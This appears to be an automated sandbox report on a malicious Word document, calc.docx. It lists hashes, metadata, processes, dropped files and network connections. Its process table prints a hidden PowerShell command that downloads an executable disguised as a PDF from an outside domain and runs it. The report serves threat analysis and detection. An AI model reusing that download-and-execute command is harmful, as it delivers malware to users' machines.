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| File name: | calc.docx |
| Full analysis: | https://app.any.run/tasks/49e74f7e-e91b-4f15-86cb-e27393df2ae4 |
| Verdict: | Malicious activity |
| Analysis date: | November 08, 2019, 13:59:47 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.openxmlformats-officedocument.wordprocessingml.document |
| File info: | Microsoft Word 2007+ |
| MD5: | 951EB613C9C0266ADC781499592243E0 |
| SHA1: | F32F91F12E1F0FD08AC0FF8F82CC1C7CB33C6130 |
| SHA256: | 836CA597C453492D36294CD6DC72C434B2588A613765888E83865EA21BECA35B |
| SSDEEP: | 192:CtNCAFAJWA3CI1YmkhwFmi4MfXesIJSpkiLWuIPRkQm9dD1o0h:aNjFA/SIHkhwFmRWtJQ+1o0h |
MALICIOUS
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 920)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 920)
Executes PowerShell scripts
- cmd.exe (PID: 1888)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 2508)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 920)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 920)
Manual execution by user
- explorer.exe (PID: 3744)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .docx | | | Word Microsoft Office Open XML Format document (52.2) |
|---|---|---|
| .zip | | | Open Packaging Conventions container (38.8) |
| .zip | | | ZIP compressed archive (8.8) |
EXIF
XMP
| Description: | - |
|---|---|
| Creator: | ALPHA Z011 |
| Subject: | - |
| Title: | - |
XML
| ModifyDate: | 2019:11:08 13:59:00Z |
|---|---|
| CreateDate: | 2019:11:08 13:52:00Z |
| RevisionNumber: | 2 |
| LastModifiedBy: | ALPHA Z011 |
| Keywords: | - |
| AppVersion: | 16 |
| HyperlinksChanged: | No |
| SharedDoc: | No |
| CharactersWithSpaces: | 255 |
| LinksUpToDate: | No |
| Company: | - |
| ScaleCrop: | No |
| Paragraphs: | 1 |
| Lines: | 1 |
| DocSecurity: | None |
| Application: | Microsoft Office Word |
| Characters: | 218 |
| Words: | 38 |
| Pages: | 1 |
| TotalEditTime: | 2 minutes |
| Template: | Normal |
ZIP
| ZipFileName: | [Content_Types].xml |
|---|---|
| ZipUncompressedSize: | 1312 |
| ZipCompressedSize: | 346 |
| ZipCRC: | 0x6cd2a4df |
| ZipModifyDate: | 1980:01:01 00:00:00 |
| ZipCompression: | Deflated |
| ZipBitFlag: | 0x0006 |
| ZipRequiredVersion: | 20 |
Total processes
40
Monitored processes
4
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 920 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\calc.docx" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 1888 | c:\windows\system32\cmd.exe /k powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile(‘http://cloudcoug.com/download/Bee_AcrobatPDF_.pdf.exe’,’Bee_AcrobatPDF_.pdf.exe’); Start-Process | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2508 | powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile(‘http://cloudcoug.com/download/Bee_AcrobatPDF_.pdf.exe’,’Bee_AcrobatPDF_.pdf.exe’); Start-Process | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3744 | "C:\Windows\explorer.exe" | C:\Windows\explorer.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
2 228
Read events
1 119
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
2
Text files
0
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 920 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA533.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2508 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JX8WNJRFO9YY6HC0PGQZ.temp | — | |
MD5:— | SHA256:— | |||
| 920 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:8B378DCC62035BBABEF8B1C2A131A338 | SHA256:7C1F83E56B3CF1632E1D1DDD8BFD13219F8133599041726FA2EA3FB98B22B275 | |||
| 2508 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:35375F3D71AE42AA9777154D256B33BF | SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF | |||
| 920 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$calc.docx | pgc | |
MD5:4BE380832BE25CA024D546ECC30681B0 | SHA256:0D2B63A9FF2A15555596EDF732FF966167349C166D20690376EAA062A809AEEC | |||
| 2508 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39c3c7.TMP | binary | |
MD5:35375F3D71AE42AA9777154D256B33BF | SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
2
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2508 | powershell.exe | GET | — | 162.210.96.116:80 | http://cloudcoug.com/download/Bee_AcrobatPDF_.pdf.exe | US | — | — | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2508 | powershell.exe | 162.210.96.116:80 | cloudcoug.com | Steadfast | US | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
cloudcoug.com |
| unknown |